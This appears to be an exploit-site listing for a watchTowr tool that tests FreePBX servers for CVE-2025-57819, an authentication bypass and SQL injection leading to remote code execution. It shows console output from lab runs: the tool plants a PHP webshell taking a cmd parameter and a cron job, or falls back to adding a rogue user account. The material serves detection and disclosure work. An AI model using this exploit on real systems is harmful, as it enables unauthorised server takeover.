Exploit for Authentication Bypass Using an Alternate Path or Channel in Sangoma Freepbx CVE-2025-57819

## https://sploitus.com/exploit?id=081B2653-51E4-5978-9D40-A8DE83DA2069
# CVE-2025-57819 FreePBX Pre-Auth RCE
FreePBX Pre-Auth RCE 1day Detection Artifact Generator Tool
 

# Detection in Action

Detection Artifact Generator attempts to upload the php script or adds a new user if the upload fails.

```
$ python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://freepbx.lab.local
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(   \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-FreePBX-CVE-2025-57819.py
        (*) CVE-2025-57819 Detection Artifact Generator: FreePBX Auth Bypass + SQL Injection to RCE

          - Piotr and Sonny of watchTowr

[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[+] VULNERABLE - webshell found: http://freepbx.lab.local/this-is-an-ioc-not-actually-watchTowr-pd3o125j59.php?cmd=hostname
[+] Cleaning.sh malicious cron_job - please confirm manually that there is no malicious entries in asterisk.cron_jobs table
```

If php script upload fails, it'll fallback to the user-based detection. It adds a "random" username with "random" 12 character password.

```
$ python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://freepbx.lab.local
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(   \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-FreePBX-CVE-2025-57819.py
        (*) CVE-2025-57819 Detection Artifact Generator: FreePBX Auth Bypass + SQL Injection to RCE

          - Piotr and Sonny of watchTowr

[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[-] Webshell not found - falling back to user adding
[+] Adding user: watchTowrm0njzhj0ii / CdEf2DWGpT8u
[+] Verifying if user exists
[+] VULNERABLE: user added
```


# Description

This script attempts to detect if FreePBX is vulnerable to CVE-2025-57819 Pre-Auth RCE.

# Affected Versions

`< 15.0.66`

`< 16.0.89`

`< 17.0.3`

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